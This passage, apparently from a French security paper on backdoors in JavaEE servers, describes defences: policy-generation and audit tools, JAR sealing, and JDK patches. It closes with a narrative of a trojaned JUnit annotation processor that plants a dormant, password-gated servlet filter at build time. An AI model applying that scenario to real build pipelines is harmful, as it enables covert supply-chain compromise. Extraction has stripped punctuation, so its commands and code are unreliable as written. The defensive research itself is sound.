Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
